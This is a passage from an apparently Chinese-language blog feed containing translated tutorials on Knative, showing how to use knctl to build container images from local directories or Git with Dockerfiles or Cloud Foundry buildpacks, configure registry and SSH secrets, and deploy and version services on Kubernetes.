&lt;p&gt;本篇文章将使用 Knative Build 把我们的应用通过 Dockerfile 以及 Cloud Foundry buildpack 在发布过程中转化为容器镜像。我们还会尝试从本地文件系统以及远程 Git 仓库中进行部署的方式。&lt;/p&gt;

&lt;p&gt;前面的操作都很简单，看得出在 Kubernetes 环境中安装 Knative、运行现有容器镜像、使用 curl 与应用进行交互都不难。总结一下就是：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plain&#34;&gt;knctl install [--node-ports] [--exclude-monitoring]
knctl deploy --service &amp;lt;service-name&amp;gt; --image &amp;lt;image-name&amp;gt;
knctl curl --service &amp;lt;service-name&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;后面的两步 - 把镜像部署为 Kubernetes 并运行，为每个部署进行版本化处理，使用 HTTP 路由进行交互，都是 &lt;a href=&#34;https://github.com/knative/serving/blob/master/docs/spec/overview.md&#34; target=&#34;_blank&#34;&gt;Serving 子系统&lt;/a&gt;的功劳。&lt;/p&gt;

&lt;p&gt;Knative 还支持用于构建容器镜像的弹性子系统，构建生成的镜像将会以 Kubernetes Pod 的形式运行。&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://github.com/knative/docs/tree/master/build&#34; target=&#34;_blank&#34;&gt;Knative Build&lt;/a&gt; 子系统非常有弹性。我们会探讨集中用例：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;上传一个本地目录，使用 Dockerfile 进行构建。&lt;/li&gt;
&lt;li&gt;上传一个本地目录，使用 Buildpack 进行构建。&lt;/li&gt;
&lt;li&gt;用上面两种方式来构建来自于远程 Git 仓库的代码。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;命名空间&#34;&gt;命名空间&lt;/h2&gt;

&lt;p&gt;前一篇文章中我们在每个 &lt;code&gt;knctl&lt;/code&gt; 命令中使用了 &lt;code&gt;--namespace helloworld&lt;/code&gt; 参数来显式的指定命名空间。对我来说这样显得更清晰。可能有别的用户希望设置一个缺省命名空间，从而能够缩短命令。&lt;/p&gt;

&lt;p&gt;可以给 &lt;code&gt;knctl&lt;/code&gt; 配置一个当前命名空间：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plain&#34;&gt;kubectl create ns my-simple-app
export KNCTL_NAMESPACE=my-simple-app
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;所有的 &lt;code&gt;knctl&lt;/code&gt; 命令都会使用这一命名空间。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plain&#34;&gt;$ knctl service list
Services in namespace &#39;my-simple-app&#39;

Name  Domain  Annotations  Age

0 services
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以在 &lt;code&gt;kubectl&lt;/code&gt; 命令中复用 &lt;code&gt;$KNCTL_NAMESPACE&lt;/code&gt;：&lt;/p&gt;

&lt;p&gt;&lt;code&gt;kubectl get pods -n $KNCTL_NAMESPACE&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&#34;上传一个带有-dockerfile-的本地目录&#34;&gt;上传一个带有 Dockerfile 的本地目录&lt;/h2&gt;

&lt;p&gt;在所有 Knative Build 的示例中，都会产生一个副产品——容器镜像。这些镜像必须放在什么地方，例如 &lt;a href=&#34;https://hub.docker.com/&#34; target=&#34;_blank&#34;&gt;Docker Hub&lt;/a&gt;、&lt;a href=&#34;https://cloud.google.com/container-registry/&#34; target=&#34;_blank&#34;&gt;GCP 容器库&lt;/a&gt;、&lt;a href=&#34;https://azure.microsoft.com/en-au/services/container-registry/&#34; target=&#34;_blank&#34;&gt;Azure 容器库&lt;/a&gt;，或者借助 &lt;a href=&#34;https://goharbor.io/&#34; target=&#34;_blank&#34;&gt;Harbor&lt;/a&gt; 之类的软件自建的私库。&lt;/p&gt;

&lt;p&gt;我们需要在每个应用所在的 Kubernetes 命名空间中给 Knative 配置一个镜像库，然后 &lt;code&gt;knctl basic-auth-secret create&lt;/code&gt; 给 Knative 配置一个 Secret。&lt;/p&gt;

&lt;p&gt;以 Docker Hub 为例，使用 &lt;code&gt;--docker-hub&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plain&#34;&gt;knctl basic-auth-secret create -s registry --docker-hub -u &amp;lt;username&amp;gt; -p &amp;lt;password&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;GCP 容器仓库可以使用 &lt;code&gt;--gcr&lt;/code&gt; 选项：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plain&#34;&gt;knctl basic-auth-secret create -s registry --gcr -u &amp;lt;username&amp;gt; -p &amp;lt;password&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;其它私库可以使用 &lt;code&gt;--type&lt;/code&gt; 和 &lt;code&gt;--url&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plain&#34;&gt;knctl basic-auth-secret create -s registry --type docker --url https://registry.domain.com/ -u &amp;lt;username&amp;gt; -p &amp;lt;password&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;下一步把镜像库 Secret 映射到 &lt;a href=&#34;https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/&#34; target=&#34;_blank&#34;&gt;Kubernetes Service account&lt;/a&gt;，它会在 Knative Build 的 Pod 中提供上面的登录信息。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plain&#34;&gt;knctl service-account create --service-account build -s registry
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这个操作会体现在 Kubernetes 的 Service account 中：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl get serviceaccount -n $KNCTL_NAMESPACE
NAME      SECRETS   AGE
build     2         37s
default   1         3h
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这样我们就准备好使用 Knative Build 创建新容器镜像所需的认证凭据了。&lt;/p&gt;

&lt;p&gt;Clone 一个 Go 应用作为样例，并从它的本地目录推送到 Docker hub：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;git clone https://github.com/cppforlife/simple-app
cd simple-app

DOCKER_IMAGE=index.docker.io/&amp;lt;your hub.docker.com org or user&amp;gt;/knative-simple-app

knctl deploy \
    --service simple-app \
    --directory=$PWD \
    --service-account build \
    --image ${DOCKER_IMAGE:?required} \
    --env SIMPLE_MSG=&amp;quot;Built from local directory using Dockerfile&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;blockquote&gt;
&lt;p&gt;容器的显式命名事实上只是从 Build 到 Serve 的工作过程中的一个中间步骤的副产品，但是必须提供。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;code&gt;knctl deploy&lt;/code&gt; 的输出大概是这样的：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plain&#34;&gt;Name  simple-app

Waiting for new revision to be created...

Tagging new revision &#39;simple-app-00001&#39; as &#39;latest&#39;

Tagging new revision &#39;simple-app-00001&#39; as &#39;previous&#39;

[2018-10-15T13:18:31+10:00] Uploading source code...

[2018-10-15T13:19:59+10:00] Finished uploading source code...

Watching build logs...

build-step-build-and-push | INFO[0000] Downloading base image golang:1.10.1
build-step-build-and-push | ERROR: logging before flag.Parse: E1015 03:20:01.547607       1 metadata.go:142] while reading &#39;google-dockercfg&#39; metadata: http status code: 404 while fetching url http://metadata.google.internal./computeMetadata/v1/instance/attributes/google-dockercfg
build-step-build-and-push | ERROR: logging before flag.Parse: E1015 03:20:01.550268       1 metadata.go:159] while reading &#39;google-dockercfg-url&#39; metadata: http status code: 404 while fetching url http://metadata.google.internal./computeMetadata/v1/instance/attributes/google-dockercfg-url
build-step-build-and-push | INFO[0001] Executing 0 build triggers
build-step-build-and-push | INFO[0001] Extracting layer 0
build-step-build-and-push | INFO[0003] Extracting layer 1
build-step-build-and-push | INFO[0004] Extracting layer 2
build-step-build-and-push | INFO[0004] Extracting layer 3
build-step-build-and-push | INFO[0007] Extracting layer 4
build-step-build-and-push | INFO[0010] Extracting layer 5
build-step-build-and-push | INFO[0015] Extracting layer 6
build-step-build-and-push | INFO[0015] Taking snapshot of full filesystem...
build-step-build-and-push | INFO[0027] WORKDIR /go/src/github.com/mchmarny/simple-app/
build-step-build-and-push | INFO[0027] cmd: workdir
build-step-build-and-push | INFO[0027] Changed working directory to /go/src/github.com/mchmarny/simple-app/
build-step-build-and-push | INFO[0027] Creating directory /go/src/github.com/mchmarny/simple-app/
build-step-build-and-push | INFO[0027] COPY . .
build-step-build-and-push | INFO[0027] RUN CGO_ENABLED=0 GOOS=linux go build -v -o app
build-step-build-and-push | INFO[0027] cmd: /bin/sh
build-step-build-and-push | INFO[0027] args: [-c CGO_ENABLED=0 GOOS=linux go build -v -o app]
build-step-build-and-push | net
build-step-build-and-push | vendor/golang_org/x/net/lex/httplex
build-step-build-and-push | vendor/golang_org/x/net/proxy
build-step-build-and-push | net/textproto
build-step-build-and-push | crypto/x509
build-step-build-and-push | crypto/tls
build-step-build-and-push | net/http/httptrace
build-step-build-and-push | net/http
build-step-build-and-push | github.com/mchmarny/simple-app
build-step-build-and-push | INFO[0030] Taking snapshot of full filesystem...
build-step-build-and-push | INFO[0034] Storing source image from stage 0 at path /kaniko/stages/0
build-step-build-and-push | INFO[0038] trying to extract to /kaniko/0
build-step-build-and-push | INFO[0038] Extracting layer 0
build-step-build-and-push | INFO[0040] Extracting layer 1
build-step-build-and-push | INFO[0041] Extracting layer 2
build-step-build-and-push | INFO[0041] Extracting layer 3
build-step-build-and-push | INFO[0043] Extracting layer 4
build-step-build-and-push | INFO[0046] Extracting layer 5
build-step-build-and-push | INFO[0051] Extracting layer 6
build-step-build-and-push | INFO[0051] Extracting layer 7
build-step-build-and-push | INFO[0051] Deleting filesystem...
build-step-build-and-push | INFO[0053] No base image, nothing to extract
build-step-build-and-push | INFO[0053] Taking snapshot of full filesystem...
build-step-build-and-push | INFO[0062] COPY --from=0 /go/src/github.com/mchmarny/simple-app/app .
build-step-build-and-push | INFO[0063] Taking snapshot of files...
build-step-build-and-push | INFO[0063] EXPOSE 8080
build-step-build-and-push | INFO[0063] cmd: EXPOSE
build-step-build-and-push | INFO[0063] Adding exposed port: 8080/tcp
build-step-build-and-push | INFO[0063] ENTRYPOINT [&amp;quot;/app&amp;quot;]
build-step-build-and-push | ERROR: logging before flag.Parse: E1015 03:21:04.751338       1 metadata.go:142] while reading &#39;google-dockercfg&#39; metadata: http status code: 404 while fetching url http://metadata.google.internal./computeMetadata/v1/instance/attributes/google-dockercfg
build-step-build-and-push | ERROR: logging before flag.Parse: E1015 03:21:04.753927       1 metadata.go:159] while reading &#39;google-dockercfg-url&#39; metadata: http status code: 404 while fetching url http://metadata.google.internal./computeMetadata/v1/instance/attributes/google-dockercfg-url
build-step-build-and-push | 2018/10/15 03:21:06 pushed blob sha256:72a682eea3309941d5e8e6f993a07ae4d33a413b8b7fa2762f8e969310b5996a
build-step-build-and-push | 2018/10/15 03:21:07 pushed blob sha256:9c24aa788ba416c5e1e631d8af3e3115519ad7ca0f659ac10f40682524c6d9cd
build-step-build-and-push | 2018/10/15 03:21:07 index.docker.io/drnic/knative-simple-app:latest: digest: sha256:b5823ead77d9544998b5bc844f049d1a7dfb0aefe7461b74b3e4f67fb5481fa1 size: 428
nop | Nothing to push

Succeeded
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;knative-build-的调试&#34;&gt;Knative Build 的调试&lt;/h2&gt;

&lt;p&gt;目前 &lt;code&gt;knctl deploy&lt;/code&gt; 没有显示任何来自 Knative Build 系统的内部错误或者警告。只需要看着 &lt;code&gt;Waiting for new revision to be created...&lt;/code&gt; 坐享其成就可以了。&lt;/p&gt;

&lt;p&gt;一个调试方法就是使用 &lt;a href=&#34;https://github.com/boz/kail&#34; target=&#34;_blank&#34;&gt;kail&lt;/a&gt; 工具处理来自 Knative Build 子系统的消息：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plain&#34;&gt;kail -n knative-build
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这样就会看到大量的日志，可以再其中查找错误信息，例如 &lt;code&gt;&amp;quot;msg&amp;quot;:&amp;quot;Failed the resource specific validation{error 25 0 serviceaccounts \&amp;quot;build\&amp;quot; not found}&amp;quot;&lt;/code&gt;。&lt;/p&gt;

&lt;h2 id=&#34;使用-buildpack-进行构建&#34;&gt;使用 Buildpack 进行构建&lt;/h2&gt;

&lt;p&gt;我本人很喜欢 Cloud Foundry 和 Heroku 的镜像构建方式，幸运的是，Knative Build 通过&lt;a href=&#34;https://github.com/knative/build-templates/tree/master/buildpack&#34; target=&#34;_blank&#34;&gt;自定义构建模板&lt;/a&gt;的方式提供了这种支持。&lt;/p&gt;

&lt;p&gt;首先用 &lt;code&gt;buildpack&lt;/code&gt; 这个名字在活动命名空间中注册一个&lt;a href=&#34;https://github.com/knative/build-templates/blob/master/buildpack/buildpack.yaml&#34; target=&#34;_blank&#34;&gt;构建模板&lt;/a&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plain&#34;&gt;kubectl -n $KNCTL_NAMESPACE apply -f \
https://raw.githubusercontent.com/knative/build-templates/master/buildpack/buildpack.yaml
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;加入 &lt;code&gt;--template buildpack&lt;/code&gt; 就可以使用这一自定义模板了。构建模板所需的附加环境变量都可以用 &lt;code&gt;--template-env NAME=value&lt;/code&gt; 的方式进行植入。&lt;/p&gt;

&lt;p&gt;例如 Cloud Foundry Go Buildpack 需要 &lt;code&gt;$GOPACKNAME&lt;/code&gt;（&lt;a href=&#34;https://docs.cloudfoundry.org/buildpacks/go/index.html#pushing_Apps_with_native_Go_vendoring&#34; target=&#34;_blank&#34;&gt;参考文档&lt;/a&gt;）：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plain&#34;&gt;knctl deploy \
    --service simple-app \
    --directory=$PWD \
    --service-account build \
    --image ${DOCKER_IMAGE:?required} \
    --env SIMPLE_MSG=&amp;quot;Built from local directory using Buildpack template&amp;quot; \
    --template buildpack \
    --template-env GOPACKAGENAME=main
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;输出内容和 Cloud Foundry buildpack 是一致的：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plain&#34;&gt;Name  simple-app

Waiting for new revision (after revision &#39;simple-app-00001&#39;) to be created...

Tagging new revision &#39;simple-app-00002&#39; as &#39;latest&#39;

Tagging older revision &#39;simple-app-00001&#39; as &#39;previous&#39;

[2018-10-15T13:40:41+10:00] Uploading source code...

[2018-10-15T13:42:08+10:00] Finished uploading source code...

Watching build logs...

build-step-build | -----&amp;gt; Go Buildpack version 1.8.26
build-step-build | -----&amp;gt; Installing godep 80
build-step-build |        Download [https://buildpacks.cloudfoundry.org/dependencies/godep/godep-v80-linux-x64-cflinuxfs2-06cdb761.tgz]
build-step-build | -----&amp;gt; Installing glide 0.13.1
build-step-build |        Download [https://buildpacks.cloudfoundry.org/dependencies/glide/glide-v0.13.1-linux-x64-cflinuxfs2-aab48c6b.tgz]
build-step-build | -----&amp;gt; Installing dep 0.5.0
build-step-build |        Download [https://buildpacks.cloudfoundry.org/dependencies/dep/dep-v0.5.0-linux-x64-cflinuxfs2-52c14116.tgz]
build-step-build | -----&amp;gt; Installing go 1.8.7
build-step-build |        Download [https://buildpacks.cloudfoundry.org/dependencies/go/go1.8.7.linux-amd64-cflinuxfs2-fff10274.tar.gz]
build-step-build |        **WARNING** Installing package &#39;.&#39; (default)
build-step-build | -----&amp;gt; Running: go install -tags cloudfoundry -buildmode pie .
build-step-export | 2018/10/15 03:47:58 mounted blob: sha256:1124eb40dd68654b8ca8f5d9ec7e439988a4be752a58c8f4e06d60ab1589abdb
build-step-export | 2018/10/15 03:47:58 mounted blob: sha256:6be38da025345ffb57d1ddfcdc5a2bc052be5b9491825f648b49913d51e41acb
build-step-export | 2018/10/15 03:47:58 mounted blob: sha256:a5733e6358eec8957e81b1eb93d48ef94d649d65c69a6b1ac49f616a34a74ac1
build-step-export | 2018/10/15 03:47:58 mounted blob: sha256:21324a9f04e76c93078f3a782e3198d2dded46e4ec77958ddd64f701aecb69c0
build-step-export | 2018/10/15 03:47:59 pushed blob sha256:efa2d34b82bc07588a1a8fd4526322257408109547ee089a792b3f51c383f8e6
build-step-export | 2018/10/15 03:47:59 pushed blob sha256:d495696b33936c79216ec8178726b9fbe915fafbffdd0911a7fdabce4297d9a4
build-step-export | 2018/10/15 03:48:00 index.docker.io/drnic/knative-simple-app:latest: digest: sha256:e5ef1d4d255b4bcbb38d4b43bb6302423c33e6eeabd0e20d5fda4e5ce4c46668 size: 1082
nop | Nothing to push
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;现在就能看到应用已经部署成功：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ knctl curl -s simple-app
&amp;lt;h1&amp;gt;Built from local directory using Buildpack template&amp;lt;/h1&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;私有-git-secret&#34;&gt;私有 Git Secret&lt;/h2&gt;

&lt;p&gt;前面两节我们从本地上传了源码然后构建了 Docker 镜像（使用 Dockerfile 或 Cloud Foundry buildpack），最后运行应用。&lt;/p&gt;

&lt;p&gt;Knative 还能从 Git 仓库获取源码（正式的说法是，Knative Build 只支持从 Git 仓库获取源码，本地代码的支持是 &lt;code&gt;knctl&lt;/code&gt; 提供的）。&lt;/p&gt;

&lt;p&gt;让 Knative Build 获取 Git 仓库中的代码，需要用 &lt;code&gt;--git-url&lt;/code&gt; 和 &lt;code&gt;--git-revision&lt;/code&gt; 来取代 &lt;code&gt;--directory=$PWD&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;如果你的 Git 仓库是私有的，那就还需要在 Service account（在上面的例子中的 &lt;code&gt;build&lt;/code&gt;）里包含 Git ssh 凭据。&lt;code&gt;knctl ssh-auth-secret create&lt;/code&gt; 能够协助用户创建一个 kubernetes.io/ssh-auth secret。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ knctl ssh-auth-secret create --secret git --github --private-key &amp;quot;$(cat ~/.ssh/id_rsa)&amp;quot;
Name  git
Type  kubernetes.io/ssh-auth

$ kubectl get secrets -n $KNCTL_NAMESPACE
NAME                  TYPE                                  DATA   AGE
...
git                   kubernetes.io/ssh-auth                1      5m
registry              kubernetes.io/basic-auth              2      3h
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;现在需要把 &lt;code&gt;git&lt;/code&gt; secret 加入到我们的 &lt;code&gt;build&lt;/code&gt; Service account 之中了。&lt;/p&gt;

&lt;p&gt;在成文之时，&lt;code&gt;knctl&lt;/code&gt; 还没有提供 &lt;code&gt;knctl serviceaccounts update&lt;/code&gt; 这样的命令，所以需要删除重新创建：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plain&#34;&gt;kubectl delete serviceaccounts -n $KNCTL_NAMESPACE build
knctl service-account create --service-account build -s registry -s git
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;从-git-部署&#34;&gt;从 Git 部署&lt;/h2&gt;

&lt;p&gt;用 &lt;code&gt;--git-url&lt;/code&gt; 和 &lt;code&gt;--git-revision&lt;/code&gt; 替代 &lt;code&gt;--directory&lt;/code&gt; 来进行 Git 部署：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plain&#34;&gt;knctl deploy \
    --service simple-app \
    --git-url git@github.com:cppforlife/simple-app.git \
    --git-revision master \
    --service-account build \
    --image ${DOCKER_IMAGE:?required} \
    --env SIMPLE_MSG=&amp;quot;Built from Git repo using Buildpack template&amp;quot; \
    --template buildpack \
    --template-env GOPACKAGENAME=main
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;总结&#34;&gt;总结&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;knctl deploy&lt;/code&gt; 命令在 Knative 的基础上提供了创建新镜像的良好体验，可以从本地目录或者 Git 仓库开始，使用 Dockerfile 或 Cloud Foundry buildpack 进行构建，并支持不同的镜像仓库。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>在 Knative 上部署 12 要素应用程序</title>
      <link>/post/deploying-12-factor-apps-to-knative/</link>
      <pubDate>Mon, 12 Nov 2018 00:35:24 +0800</pubDate>
      <guid>/post/deploying-12-factor-apps-to-knative/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://starkandwayne.com/blog/introduction-to-knative/&#34; target=&#34;_blank&#34;&gt;Deploying 12 Factor Apps to Knative&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;a href=&#34;https://twitter.com/starkandwayne&#34; target=&#34;_blank&#34;&gt;Dr Nic Williams&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;我尝试按照本文内容在 Azure 上使用 ACS-Engine 部署的 Kubernetes 上进行了测试，版本部分的案例得到了相反结果，不过还是按照原文发了出来，作为一个获取感性认识的入门还是不错的。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Google Next18 活动中，Google 宣称将会把 GKE 上的无服务器插件以 &lt;a href=&#34;https://github.com/knative/&#34; target=&#34;_blank&#34;&gt;Knative&lt;/a&gt; 的名称进行开源。当时它被描述为无服务器平台的构建块，由此推断，Knative 可能需要 Google、Pivotal 或者 RedHat 的协助才能使用。这可能是开源的古怪时机。从我最初的摸索来看，Knative 能工作；当我把 Heroku/Cloud Foundry buildpacks 加入进来之后，整个系统变得越来越像 Heroku/Cloud Foundry，相对于原始 Kubernetes，我更加了解和喜爱这一系统。&lt;/p&gt;

&lt;p&gt;本文中我们会将 Knative 安装到你自己的 Kubernetes 集群中（&lt;code&gt;knctl install&lt;/code&gt;），然后用 Knative 做些有趣的事情（&lt;code&gt;knctl deploy&lt;/code&gt;）。&lt;/p&gt;

&lt;p&gt;Knative 能够为在 Kubernetes 集群上运行无状态应用的运维人员带来很多惊喜。对我来说，最引人入胜的一点就是伸缩性：在高负载时候进行扩容，没人喜欢你的应用了，就会一直缩容到 0。&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://github.com/cppforlife/knctl/releases&#34; target=&#34;_blank&#34;&gt;下载和安装&lt;/a&gt; Knative 客户端工具 &lt;code&gt;knctl&lt;/code&gt;，然后就可以在你的 Kubernetes 上部署 Knative，然后发布你的应用了。&lt;/p&gt;

&lt;p&gt;在 MacOS 中，可以利用我们的 Homebrew tap 进行安装：&lt;/p&gt;

&lt;p&gt;&lt;code&gt;brew install starkandwayne/kubernetes/knctl&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;这里我假设你再使用 Minikube。在 Minikube 中，可以使用 Node Port 代替 Load balancer：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plain&#34;&gt;minikube start --memory=8192 --cpus=3 \
  --kubernetes-version=v1.11.3 \
  --vm-driver=hyperkit \
  --bootstrapper=kubeadm

knctl install --node-ports --exclude-monitoring
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以参考 &lt;a href=&#34;https://github.com/knative/docs/tree/master/install&#34; target=&#34;_blank&#34;&gt;Knative 文档&lt;/a&gt;来获取在其它类型 Kubernetes 集群上进行部署的要点。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;knctl install&lt;/code&gt; 命令可能要花上几分钟，甚至是十分钟或者更多。这个过程中需要下载大概一打镜像。不管是互联网带宽还是镜像尺寸都可能有变化，所以坐下放松一会，或者出去走走也好。&lt;/p&gt;

&lt;p&gt;如果 &lt;code&gt;knctl install&lt;/code&gt; 失败了，可能是你的 Internet 比较慢，Docker 镜像在命令超时之前还没能完成下载。运行 &lt;code&gt;kubectl get pods --all-namespaces&lt;/code&gt; 直到所有 Pod 都在运行，然后再次运行 &lt;code&gt;knctl install&lt;/code&gt; 命令继续完成安装过程。&lt;/p&gt;

&lt;p&gt;现在你的 Kubernetes 就是无服务器架构了，不错吧。&lt;/p&gt;

&lt;p&gt;可以运行 &lt;code&gt;kubectl get pods --all-namespaces&lt;/code&gt; 看看原始的 Knative 的 Pod 们。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plain&#34;&gt;$ kubectl get pods --all-namespaces
NAMESPACE         NAME                                        READY   STATUS      RESTARTS   AGE
istio-system      istio-citadel-7d8f9748c5-zgm9x              1/1     Running     0          21m
istio-system      istio-cleanup-secrets-j4pkx                 0/1     Completed   0          21m
istio-system      istio-egressgateway-676c8546c5-dnwsd        1/1     Running     0          21m
istio-system      istio-galley-5669f7c9b-g774b                1/1     Running     0          21m
istio-system      istio-ingressgateway-5475685bbb-q5f2x       1/1     Running     0          21m
istio-system      istio-pilot-5795d6d695-9klrz                2/2     Running     0          21m
istio-system      istio-policy-7f945bf487-2wh88               2/2     Running     0          21m
istio-system      istio-sidecar-injector-d96cd9459-7knkm      1/1     Running     0          21m
istio-system      istio-statsd-prom-bridge-549d687fd9-lcmb7   1/1     Running     0          21m
istio-system      istio-telemetry-6c587bdbc4-t4jql            2/2     Running     0          21m
istio-system      knative-ingressgateway-7f4477dd99-n9wz2     1/1     Running     0          4m
knative-build     build-controller-7dcc4b7544-rkgwb           1/1     Running     0          4m
knative-build     build-webhook-fb6484576-sr4fk               1/1     Running     0          4m
knative-serving   activator-77d46b585d-b6g8n                  2/2     Running     0          4m
knative-serving   controller-85768cfd45-t8ktc                 1/1     Running     0          4m
knative-serving   webhook-56dd548f8-hjw44                     1/1     Running     0          4m
...
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;部署预构建的应用&#34;&gt;部署预构建的应用&lt;/h2&gt;

&lt;p&gt;接下来我们试试用一个现有的 Docker 镜像来作为自动伸缩的无状态应用运行到 Knative 上，在当前 Kubernetes 命令空间中：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plain&#34;&gt;kubectl create ns helloworld

knctl deploy \
      --namespace helloworld \
      --service hello \
      --image gcr.io/knative-samples/helloworld-go \
      --env TARGET=Rev1
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;命令执行后会输出一些信息，表明 &lt;code&gt;hello&lt;/code&gt; 服务已经创建，它的第一个版本 &lt;code&gt;hello-00001&lt;/code&gt; 已经创建，并且被标记为 &lt;code&gt;latest&lt;/code&gt; 和 &lt;code&gt;previous&lt;/code&gt;（第一个版本）。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plain&#34;&gt;Name  hello

Waiting for new revision to be created...

Tagging new revision &#39;hello-00001&#39; as &#39;latest&#39;

Tagging new revision &#39;hello-00001&#39; as &#39;previous&#39;

Succeeded
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;我们可以用一个 curl 请求，发送到 Knative 的路由层，来调用我们的 &lt;code&gt;hello&lt;/code&gt; 服务：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ knctl curl --namespace helloworld --service hello
Running: curl &#39;-H&#39; &#39;Host: hello.helloworld.example.com&#39; &#39;http://192.168.64.8:32380&#39;

Hello World: Rev1!

Succeeded
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;如果没有马上显示 &lt;code&gt;Hello World: Rev1!&lt;/code&gt;，可能是因为你的系统还在下载应用镜像、可以稍后重试。&lt;/p&gt;

&lt;p&gt;我使用的是 Minikube 中的 NodePort Ingress，这意味着我不能设置漂亮的 DNS 路由。以后我会讨论一下公共负载均衡、DNS、Knative 路由以及 &lt;code&gt;https://github.com/cppforlife/kwt&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;knctl deploy&lt;/code&gt; 之后，我们的 Kubernetes 用单 Pod 的形式运行这一服务：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl get pods --namespace helloworld
NAME                                      READY   STATUS    RESTARTS   AGE
hello-00001-deployment-5864685cbc-v8r7n   3/3     Running   0          15s
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Knative 中，服务的版本是一个重要特性。我们可以看到我们的唯一版本的服务正在处理 100% 的流量：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ knctl revisions list --namespace helloworld --service hello
Revisions for service &#39;hello&#39;

Name         Tags      Allocated Traffic %  Serving State  Annotations  Age
hello-00001  latest    100%                 Active         -            3m
             previous

1 revisions
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;下一步我们使用 &lt;code&gt;knctl deploy&lt;/code&gt; 创建一个新的版本，然后把所有流量分配到新版本：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ knctl deploy \
      --namespace helloworld \
      --service hello \
      --image gcr.io/knative-samples/helloworld-go \
      --env TARGET=Rev2

Name  hello

Waiting for new revision (after revision &#39;hello-00001&#39;) to be created...

Tagging new revision &#39;hello-00002&#39; as &#39;latest&#39;

Tagging older revision &#39;hello-00001&#39; as &#39;previous&#39;

Succeeded
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;现在请求被发送到了我们的新版本：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ knctl revisions list --namespace helloworld --service hello
Revisions for service &#39;hello&#39;

Name         Tags      Allocated Traffic %  Serving State  Annotations  Age
hello-00002  latest    100%                 Active         -            1m
hello-00001  previous  0%                   Active         -            10m

$ knctl curl --namespace helloworld --service hello
Running: curl &#39;-H&#39; &#39;Host: hello.helloworld.example.com&#39; &#39;http://192.168.64.8:32380&#39;

Hello World: Rev2!
&lt;/code&gt;&lt;/pre&gt;

